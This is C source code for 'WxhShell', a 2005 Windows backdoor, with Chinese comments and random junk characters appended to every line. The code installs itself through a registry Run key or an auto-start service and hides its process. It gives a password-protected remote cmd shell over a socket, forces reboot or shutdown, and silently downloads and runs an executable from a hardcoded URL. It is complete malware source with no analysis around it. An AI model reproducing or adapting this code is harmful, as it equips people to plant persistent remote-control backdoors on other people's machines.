    if(Boot(SHUTDOWN)) 6|D,`dk3U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VX;tg lu2  
    else { %Sdzr!I7*  
    closesocket(wsh); b(~ gQM  
    ExitThread(0); O/=i'0X v  
    } ;Q =EI%_tv  
    break; 9v<Sng  
    } |<ZkJR3B  
  // 获取shell grhwPnKl  
  case 's': { 21BlLz  
    CmdShell(wsh); 88ydAx#P  
    closesocket(wsh); sR. ecs+  
    ExitThread(0); IFY,j8~q  
    break; pMX#!wb  
  } z<F.0~)jb  
  // 退出 AQ 5CrYb  
  case 'x': { XHlx89v7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *?+maK{5+  
    CloseIt(wsh); Y(]&j`%  
    break; ,1YnWy *  
    } #)BdN  
  // 离开 hFjXgpz5  
  case 'q': { Tx7YHE6{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %8V/QimHU  
    closesocket(wsh); Pl }dA  
    WSACleanup(); 7^~pOFdH  
    exit(1); -vfV;+3  
    break; [j5 ^Zb&0  
        } V&_5q`L  
  } I@ch 5vl4  
  } (*%+!PS  
'lv\I9"S)  
  // 提示信息 Ox&g#,@h  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zu}h3n5  
} %&^F.JTt\  
  } N L]:<FG  
q5[%B K  
  return; d `Q$URn|  
} 0=s+bo1  
/ vge@bsE  
// shell模块句柄 79a{Zwdd9j  
int CmdShell(SOCKET sock) 0}Xkj)R,  
{ COj50t/  
STARTUPINFO si; "0g1'az}  
ZeroMemory(&si,sizeof(si)); &K`[SX=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $xS `i-|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Vd|5JA}<"  
PROCESS_INFORMATION ProcessInfo; X63DBF4A  
char cmdline[]="cmd"; SM:{o&S`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); D;<Q m,[  
  return 0; _qmB PUx  
} +iwNM+K/gQ  
2u6N';jgZ  
// 自身启动模式 tZ=BK:39\  
int StartFromService(void) d<qbUk3;  
{ "aP>}5<h  
typedef struct E+"INX7  
{ @}x)>tqD  
  DWORD ExitStatus; bsPwTp^  
  DWORD PebBaseAddress; 1(!QutEb  
  DWORD AffinityMask; x-Z`^O  
  DWORD BasePriority; :%A1k2  
  ULONG UniqueProcessId; C|W_j&S65  
  ULONG InheritedFromUniqueProcessId; X?Omk, '  
}   PROCESS_BASIC_INFORMATION; FWdSpaas Q  
>9=Y(`  
PROCNTQSIP NtQueryInformationProcess; _hMVv&$  
H U$:x"AW  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; n\*>m p)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *`);_EVc  
t3Q;1#Zf  
  HANDLE             hProcess; 9))%tYN  
  PROCESS_BASIC_INFORMATION pbi; !hF b <  
rP;Fh|w#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3 T Q#3h  
  if(NULL == hInst ) return 0; ,vW.vq<{q3  
*D,+v!wG9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ; ZL<7tLDb  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =}r&>|rrJ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); QKZm<lUL  
[gzw<b:`  
  if (!NtQueryInformationProcess) return 0; ;myu8B7&  
Gr?"okaA  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); C3bZ3vcW$  
  if(!hProcess) return 0; ?GD{}f33  
ozkN&0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; rgIJ]vmy<H  
J}`K&DtM9  
  CloseHandle(hProcess); Ua V9T:)x  
Nf0b?jn-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /n?5J`6  
if(hProcess==NULL) return 0; **-%5 ~  
?$;_a%v6  
HMODULE hMod; / vje='[!  
char procName[255]; O`t ]#  
unsigned long cbNeeded; k'%c|kx8U  
p`Omcl~Q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +2B{"Czm  
k%:]PQjYT  
  CloseHandle(hProcess); #&r^~>,#L-  
AWQwpaj-  
if(strstr(procName,"services")) return 1; // 以服务启动 dm.?-u;C  
Ej'a G   
  return 0; // 注册表启动 1oj7R7  
} WU#bA|Cf  
( rZq0*  
// 主模块 L\_8}\  
int StartWxhshell(LPSTR lpCmdLine) +#1WOQfAD  
{ $./JA) `  
  SOCKET wsl; )J~Q x-jG  
BOOL val=TRUE; ~LO MwMHl  
  int port=0; vCbqZdy?  
  struct sockaddr_in door; 4p>@UB&U  
9Wx q  
  if(wscfg.ws_autoins) Install(); 5 ;dg#hO  
;5"r)F+P  
port=atoi(lpCmdLine); ]ueq&|  
[:g6gAuh,  
if(port<=0) port=wscfg.ws_port; bMkn(_H)\  
<LZvG IMl  
  WSADATA data; (sJ{27b_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8dIgw  
AZl|; y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   lJKhP  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); N1P [&lR  
  door.sin_family = AF_INET; l+R-lsj  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); uA:;OM}  
  door.sin_port = htons(port); N<Y-]xS  
'9<Mk-Aj  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ez<J+#)t  
closesocket(wsl); ^"6xE nA]  
return 1; tPC8/ntP8  
} R*Pfc91}  
YIgzFt[L  
  if(listen(wsl,2) == INVALID_SOCKET) { c 0!bn b  
closesocket(wsl); q* Ns]f'a  
return 1; ((EN&X,v  
} C"IPCJYn  
  Wxhshell(wsl); 0~Yg={IKhK  
  WSACleanup(); bi KpV? Dp  
?PyI#G   
return 0; /o8`I m   
[^ 7^&/0  
} <&l3bL  
A8c'CMEm  
// 以NT服务方式启动 4X#>;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Pm+H!x,  
{ JsfbY^wz  
DWORD   status = 0; H -.3r  
  DWORD   specificError = 0xfffffff;  A3'i -  
K{M_ 4'\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @] )a  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "-v9V7KCM  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; g"# R>&P  
  serviceStatus.dwWin32ExitCode     = 0; )F4er '  
  serviceStatus.dwServiceSpecificExitCode = 0; .t"s>jq 1  
  serviceStatus.dwCheckPoint       = 0; 'cH),~ z  
  serviceStatus.dwWaitHint       = 0; *|euC"5c  
(X>r_4W$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ms;Lu- UR  
  if (hServiceStatusHandle==0) return; 4"l(rg  
bhe|q`1,E  
status = GetLastError(); cQ3Dk<GZ  
  if (status!=NO_ERROR) "~d)$]+  
{ "-ZuH   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; v`y{l>r,  
    serviceStatus.dwCheckPoint       = 0; l4;/[Q>Z  
    serviceStatus.dwWaitHint       = 0; sHQe0"Eo  
    serviceStatus.dwWin32ExitCode     = status; r^*,eF  
    serviceStatus.dwServiceSpecificExitCode = specificError; {_^sR}%]F  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :l3Tt<  
    return; *RxbqB-  
  } G_j` 6v)  
8.Y6r  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^U~YG=!ww  
  serviceStatus.dwCheckPoint       = 0; LsV!Sd  
  serviceStatus.dwWaitHint       = 0; L8R|\Bx  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $D9JsUij  
} X5>p~;[9  
20%xD e  
// 处理NT服务事件,比如:启动、停止 AU-/-h=Mr  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :Q?xNY%  
{ & r\z9!   
switch(fdwControl) Qo;$iLt  
{ jew?cnRmd  
case SERVICE_CONTROL_STOP: J# :%| F%  
  serviceStatus.dwWin32ExitCode = 0; x:sTE u@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5'l+'ox@J  
  serviceStatus.dwCheckPoint   = 0; Rq4\~F?  
  serviceStatus.dwWaitHint     = 0; !8l4H c8  
  { )2bPu[U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); '7xmj:.==  
  } 4!/{CGP  
  return; A`X$jpAn&  
case SERVICE_CONTROL_PAUSE: h"wXmAf4%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; P_&2HA,I  
  break; 3ufUB^@4v  
case SERVICE_CONTROL_CONTINUE: 5zfaqt`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; KS(s<ip|  
  break; {CQA@p:Y}  
case SERVICE_CONTROL_INTERROGATE: jw(v08u >  
  break; Rfa1 v*(  
}; Wv(VV[?/&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dLQ!hKD~  
} $[FO(w@f  
hz\7Z+$L_  
// 标准应用程序主函数 s|EP/=9i  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) EkOBI[`  
{ ~2rZL  
)W*S6}A  
// 获取操作系统版本 s\>$ K%!H?  
OsIsNt=GetOsVer(); HlI*an  
GetModuleFileName(NULL,ExeFile,MAX_PATH); c1MALgK~}\  
4\Q ?4ZX  
  // 从命令行安装 Nz5gu.a6{L  
  if(strpbrk(lpCmdLine,"iI")) Install(); aQinR"o  
g w }t.3}  
  // 下载执行文件 +uv]dD *i  
if(wscfg.ws_downexe) { 70|Cn(p_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) o1I{^7/  
  WinExec(wscfg.ws_filenam,SW_HIDE); "MK:y[+*  
} E>SnH  
3&3S*1b-H  
if(!OsIsNt) { ?N$  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~p oy`h'  
HideProc(); O v?k4kJ  
StartWxhshell(lpCmdLine); mQJRq??P  
} a8Ci 7<V  
else ">CjnF2>R  
  if(StartFromService()) q| gG{9  
  // 以服务方式启动 [gH vI  
  StartServiceCtrlDispatcher(DispatchTable); =<a`G3SY!  
else W~dS8B=<  
  // 普通方式启动 j6IWdqXe  
  StartWxhshell(lpCmdLine); Et`z7Q*e  
;t"#7\  
return 0; in#g  
} v0= ^Hy m  
R:i7Rb2C  
)ZNH/9e/  
'>2xP<ct!&  
=========================================== 1(rH5z'F  
oh#6>|  
gZ/M0px  
/lAt&0  
#/5jWH7U  
I^\YD9~=x  
" ] hL 1qS  
F!'b_ gmz  
#include <stdio.h> KQQR"[z&V  
#include <string.h> 1 ljgq]($  
#include <windows.h> HtmJIH:  
#include <winsock2.h> [<f\+g2ct  
#include <winsvc.h> a.wRJ  
#include <urlmon.h> mY;Y$fz;xL  
dO rgqz`e  
#pragma comment (lib, "Ws2_32.lib") [^~Fu9+"  
#pragma comment (lib, "urlmon.lib") Ou8@7S  
0I~xD9l9  
#define MAX_USER   100 // 最大客户端连接数 }MXZ  
#define BUF_SOCK   200 // sock buffer yv4hH4Io  
#define KEY_BUFF   255 // 输入 buffer ldi'@^  
y=5s~7]  
#define REBOOT     0   // 重启 x1Z?x,-D"  
#define SHUTDOWN   1   // 关机 BE}lzn=sF  
uK}k]x\z  
#define DEF_PORT   5000 // 监听端口 duT2:~H2  
!t~S.`vF  
#define REG_LEN     16   // 注册表键长度 3vNoD  
#define SVC_LEN     80   // NT服务名长度 |2{y'?,  
Mq6.!j  
// 从dll定义API .CrahV1G  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :m^eNS6:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); C!RxMccTh  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); GwW!Q|tVz=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); im4V6 f;%  
&7|=8Z[o  
// wxhshell配置信息 sT'wps2  
struct WSCFG { 1&Nk  
  int ws_port;         // 监听端口 \7*9l%  
  char ws_passstr[REG_LEN]; // 口令 f>-OwL($P  
  int ws_autoins;       // 安装标记, 1=yes 0=no 73 D|gF*  
  char ws_regname[REG_LEN]; // 注册表键名 QjF.U8  
  char ws_svcname[REG_LEN]; // 服务名 OHM.xw*?.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 F}2U8O  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5NBc8h7 V  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Fu{[5uv  
int ws_downexe;       // 下载执行标记, 1=yes 0=no { S4?L8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" r?[PIf  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 '1^\^)&q  
Q5{i#F7nJm  
}; C4TJS,!1rH  
7cY_=X-?Y  
// default Wxhshell configuration tezsoR!.ak  
struct WSCFG wscfg={DEF_PORT, T~=NY,n  
    "xuhuanlingzhe", 2vu"PeU9  
    1, ]0V~|<0c  
    "Wxhshell", !)_80O1  
    "Wxhshell", :=UeYm @  
            "WxhShell Service", 6hAeLlU1  
    "Wrsky Windows CmdShell Service", WLv( K_3Y  
    "Please Input Your Password: ", z Sj.Y{J  
  1, iV(B0z  
  "http://www.wrsky.com/wxhshell.exe", Qh%7RGh_  
  "Wxhshell.exe" ?fCLiK  
    }; l J;wl|9  
L7%Dc2{^(  
// 消息定义模块 =n i&*&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >umcpkp- h  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )Xl/|YD  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -Ufd+(   
char *msg_ws_ext="\n\rExit."; t 0nGZ%`  
char *msg_ws_end="\n\rQuit."; L8/o9N1  
char *msg_ws_boot="\n\rReboot..."; j}#48{  
char *msg_ws_poff="\n\rShutdown..."; 3Ki`W!C  
char *msg_ws_down="\n\rSave to "; r >u0Y  
P_,f  
char *msg_ws_err="\n\rErr!"; ) ?+-Z2BwA  
char *msg_ws_ok="\n\rOK!"; OT{qb!eYI  
.e"De-u  
char ExeFile[MAX_PATH]; b4S7 Q"g  
int nUser = 0; ) m%ghpX  
HANDLE handles[MAX_USER]; J$j&j`  
int OsIsNt; !gW$A-XD  
z! D >l  
SERVICE_STATUS       serviceStatus; Z\6azhbI}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :*)~nPVV  
1sGkbfh{t  
// 函数声明 :-ax5,J>q  
int Install(void); z,I7 PY& G  
int Uninstall(void); "Yq-s$yBi  
int DownloadFile(char *sURL, SOCKET wsh); q~_Nv5r%O  
int Boot(int flag); ~}$:iyJV(>  
void HideProc(void); !94& Uk(O  
int GetOsVer(void); D8paIp  
int Wxhshell(SOCKET wsl); <!-8g!  
void TalkWithClient(void *cs); ( y'i{:B  
int CmdShell(SOCKET sock); 4YXtl +G  
int StartFromService(void); _ZC4O&fL  
int StartWxhshell(LPSTR lpCmdLine); D0~WK stl  
?b^VEp.;}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); t`Mm  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); It(8s)5  
)PB&w%J  
// 数据结构和表定义 {KdC5 1"Nv  
SERVICE_TABLE_ENTRY DispatchTable[] = 4/~8zvz&3  
{ *{)[:;  
{wscfg.ws_svcname, NTServiceMain}, E)NH6 ~  
{NULL, NULL} B`T|M$Ug  
}; t A\N$  
f/eT4y  
// 自我安装 Gx y>aS3  
int Install(void) t \Fc <  
{ nxA]EFS  
  char svExeFile[MAX_PATH]; vXq=f:y4  
  HKEY key; PF1!aAvVb  
  strcpy(svExeFile,ExeFile); Kg~<h B6  
rcF;Lp :  
// 如果是win9x系统,修改注册表设为自启动 3k5Mty  
if(!OsIsNt) { j K$4G.x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HI,1~ Jw+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <E&1HeP  
  RegCloseKey(key); Iwize,J~X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9K Ih}Q@P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pvDr&n9  
  RegCloseKey(key); NA]7qb%%<  
  return 0; [qIi_(%o  
    } wU2y<?$\8  
  } RR75ke[Hs  
} pIC CjA?3@  
else { [j 'Ogm7"  
jF Bq>  
// 如果是NT以上系统,安装为系统服务 fP&F$"o8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); d[kb]lC  
if (schSCManager!=0) *P61q\2Z  
{ i"F'n0*L  
  SC_HANDLE schService = CreateService +r2E5s   
  ( ;=5V)1~i1;  
  schSCManager, NQ'^ z  
  wscfg.ws_svcname, B5  C]4  
  wscfg.ws_svcdisp, ?0DCjh8We  
  SERVICE_ALL_ACCESS, #fk)Y1  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , / h0-qW  
  SERVICE_AUTO_START, ie 2X.#  
  SERVICE_ERROR_NORMAL, {QM;%f  
  svExeFile, )>\J~{  
  NULL, &Sa<&2W4S  
  NULL, \Y Cj/tG8  
  NULL, 2 t< dCw  
  NULL, f"k?Ix\ e  
  NULL S/G,A,"c  
  ); ^t*+hFEI  
  if (schService!=0) C$"jZcm,I  
  { v|?hc'Fj  
  CloseServiceHandle(schService); Ke&lGf"5  
  CloseServiceHandle(schSCManager); mB"zyL-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2^ ^;Q:  
  strcat(svExeFile,wscfg.ws_svcname); ,b-wo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { k]qZOO}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,au64sH  
  RegCloseKey(key); &VY;Al  
  return 0; = <O{t#]  
    } +y6|Nq  
  } zv@'x nY]  
  CloseServiceHandle(schSCManager); ojs&W]r0Z  
} i\3BA"ZX  
} -102W{V/T  
W ;P1T"*A  
return 1; ' uo`-Y  
} u5H#(&Om  
p? iJ'K  
// 自我卸载 j72cSRv  
int Uninstall(void) ;wL *  
{ 1.p?P] .  
  HKEY key; ~9kvC&/{[  
SjtGU47$!  
if(!OsIsNt) { CBnD)1b\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6KnD(im  
  RegDeleteValue(key,wscfg.ws_regname); Ook3B  
  RegCloseKey(key); 9`4h"9dO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,\+tvrR4X  
  RegDeleteValue(key,wscfg.ws_regname); Gxi;h=J2)>  
  RegCloseKey(key); x3PeU_9  
  return 0; ii2oWU  
  } \CUxGyu  
} fOE:~3Q  
} pcur6:8W!  
else { c*RZbE9k  
K[~Wj8W0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); o4w+)hh  
if (schSCManager!=0) Qc[[@=S%  
{ Yo| H`m,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); mH;Z_ME"  
  if (schService!=0) u8+<uWB  
  { iUS379wM}  
  if(DeleteService(schService)!=0) { $rFv(Qc^=  
  CloseServiceHandle(schService); "'t<R}t!A  
  CloseServiceHandle(schSCManager); p\+#`] Q7}  
  return 0; /D1Bf:'(  
  } gW/H#T,  
  CloseServiceHandle(schService); ,=$yvZs4[]  
  } S~(4q#Dt-  
  CloseServiceHandle(schSCManager); &U4]hawbOU  
} ^}/YGAA  
} 5\R8>G~H  
?aOR ^ K  
return 1; + {a  
} ;jX_e(T3m  
=!#D UfQf  
// 从指定url下载文件 aI8wy-3I  
int DownloadFile(char *sURL, SOCKET wsh) %(6f  
{ oYJ&BPuA'  
  HRESULT hr; \lKQDct. -  
char seps[]= "/"; LaN4%[;X1-  
char *token; ]3d&S5zU  
char *file; 5Hr(9)  
char myURL[MAX_PATH]; ( fdDFb#1  
char myFILE[MAX_PATH]; ;Ic3th%u  
U?$v 1||  
strcpy(myURL,sURL); &CUkR6  
  token=strtok(myURL,seps); >x2T '  
  while(token!=NULL) wf|CE410  
  { L'aMXNO  
    file=token; $ZcmE<7k  
  token=strtok(NULL,seps); ^jf$V #z0/  
  } D cus-,u~  
Y] P}7GZ  
GetCurrentDirectory(MAX_PATH,myFILE); -\UzL:9>  
strcat(myFILE, "\\"); X@~sIUXx9  
strcat(myFILE, file); ~@'|R%jJ  
  send(wsh,myFILE,strlen(myFILE),0); &cpRB&bf  
send(wsh,"...",3,0); sv0kksj  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `Z%XA>  
  if(hr==S_OK) *2:)Rf  
return 0; Ae ue:u>  
else M\`6H8aLn  
return 1; f{3FoN= z  
J,7_5V@jJ  
} 1"v;w!uh  
1d\K{ 7i#  
// 系统电源模块 }}_WZ},h  
int Boot(int flag) t8?+yG;  
{ []dRDe;#  
  HANDLE hToken; QtN0|q{af  
  TOKEN_PRIVILEGES tkp; 3>L1}zyM]  
L {B#x@9tQ  
  if(OsIsNt) { 'kx{0J?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !%Z1" FDm/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /f# rN_4  
    tkp.PrivilegeCount = 1; U]R7=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *Gu=O|Mm  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); E"L'm0i[[  
if(flag==REBOOT) { :-6_X<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @F3d9t-  
  return 0; .S?,%4v%%  
} Uj!L:u2b  
else { 4 Qw;r  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %+pXzw`B  
  return 0; <78> 6u/W%  
} l  
  } ImF/RKI~ "  
  else { {|rwIRe  
if(flag==REBOOT) { dDm<'30?*v  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Wq,UxMz  
  return 0; *-P@|eg  
} NEGpf[$  
else { pn =S%Qf]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) pAa{,,Qc  
  return 0; \{UiGCK  
} QkF-}P%  
} eGguq~s`  
E* lqCh  
return 1; 0;XnNz3&  
} /1OhW>W3eH  
7XwFO0==  
// win9x进程隐藏模块 UyF]gO  
void HideProc(void) Eydk64 5:3  
{ lcUL7  
F'*{Fk h  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;c;;cJc!  
  if ( hKernel != NULL ) ]]7s9PCN  
  { a(J~:wgd  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); oa9T3gQ?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); YEZ"BgUnbp  
    FreeLibrary(hKernel); +:Y6O'h.  
  } .d8~]@U!<  
[e*8hbS  
return; 5,mb]v0k  
} sF<4uy  
zF{ z_c#3@  
// 获取操作系统版本 i\t4TdEx(  
int GetOsVer(void) ,$*IJeKx  
{ wiFckF/  
  OSVERSIONINFO winfo; ,>~9 2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); a{-}8f6  
  GetVersionEx(&winfo); ,YiBu^E9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) U#Z}a d?VX  
  return 1; Af -{'  
  else 6~2!ZU  
  return 0; $Z;0/\r%  
} H7\EvIM=  
;ga~ae=Fg  
// 客户端句柄模块 RWoa'lnu  
int Wxhshell(SOCKET wsl) =nY*,Xu<  
{ @0)bY*njj  
  SOCKET wsh; `GSfA0?  
  struct sockaddr_in client; \y0abxIHS  
  DWORD myID; a2g15;kM  
+q =/}|  
  while(nUser<MAX_USER) F5*Xx g}N  
{ Rq\.RR](  
  int nSize=sizeof(client); UCq+F96j  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); w-\GrxlbX  
  if(wsh==INVALID_SOCKET) return 1; Y]Xal   
)9PQ j  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Uh9$e  
if(handles[nUser]==0) 2} T" |56  
  closesocket(wsh); -Ol/r=/&  
else TSD7.t)^  
  nUser++; 2?m'Dy'JE  
  } WJg?R^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); QU\|RX   
,Z52d ggD  
  return 0; py,z7_Nuh  
} (IEtjv}D  
gMgbqGF)  
// 关闭 socket Y=Bk;%yT=  
void CloseIt(SOCKET wsh) S(rA96n  
{ /gPn2e;  
closesocket(wsh); Z$+0gm\Cnw  
nUser--; Bh@j6fv  
ExitThread(0); N]5-#  
} !rwv~9I  
//AS44^IS  
// 客户端请求句柄 #5'9T:8  
void TalkWithClient(void *cs) sYp@.?Tz  
{ )WBTqML[  
 C9*'.~  
  SOCKET wsh=(SOCKET)cs; VV?KJz=,W=  
  char pwd[SVC_LEN]; tTP"*Bb  
  char cmd[KEY_BUFF]; %pV/(/Q  
char chr[1]; n*'|7#;  
int i,j; v+Ooihxl  
<S5Am%vo  
  while (nUser < MAX_USER) { QPdhesrd-  
Pirc49c  
if(wscfg.ws_passstr) { 4m%_#J{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pYVQ-r%QF  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ku?i[Th  
  //ZeroMemory(pwd,KEY_BUFF); WzZb-F  
      i=0; Z.rKV}yjY  
  while(i<SVC_LEN) { 3VKArv-  
mNs&*h}  
  // 设置超时 7zy6`O P  
  fd_set FdRead; >D*L0snjV  
  struct timeval TimeOut; +]Ydf^rF  
  FD_ZERO(&FdRead); NbfV6$jo  
  FD_SET(wsh,&FdRead); *R8q)Q  
  TimeOut.tv_sec=8; qM]eK\q 1  
  TimeOut.tv_usec=0; up`!r;5-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {6A3?q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &s\w: 9In  
 :3u>%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Eiwo== M  
  pwd=chr[0]; #=+d;RdlW  
  if(chr[0]==0xd || chr[0]==0xa) { XG*Luc-v  
  pwd=0; 6x6PP}IX  
  break; rFdovfb   
  } R~;<}!Gtx  
  i++; nKufVe  
    } tE- s/  
n|3ENN  
  // 如果是非法用户,关闭 socket =3l%ZL/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "M1[@xog  
} @/XA*9]l  
91e&-acA  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3fM~R+p  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $^d,>hJi  
Xb3z<r   
while(1) { L)J0T Sh  
E_7N^htv  
  ZeroMemory(cmd,KEY_BUFF); PJS\> N&u  
=K}5 fe  
      // 自动支持客户端 telnet标准   _KC()OIeC  
  j=0; B&`#`]  
  while(j<KEY_BUFF) { dz&8$(f,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i5q VQo  
  cmd[j]=chr[0]; &+d>xy\^/  
  if(chr[0]==0xa || chr[0]==0xd) { ojUBa/  
  cmd[j]=0; j:\MrYt0H  
  break; i\2~yXw\  
  } Z6A*9m  
  j++; ]xfu @''  
    } &8z`]mB{t  
n<uF9N<   
  // 下载文件 4tof[n3us  
  if(strstr(cmd,"http://")) { z45ImItH  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $9j\sZj&  
  if(DownloadFile(cmd,wsh)) ; Sq_DP1W  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &}Cm9V  
  else ( n|PLi  
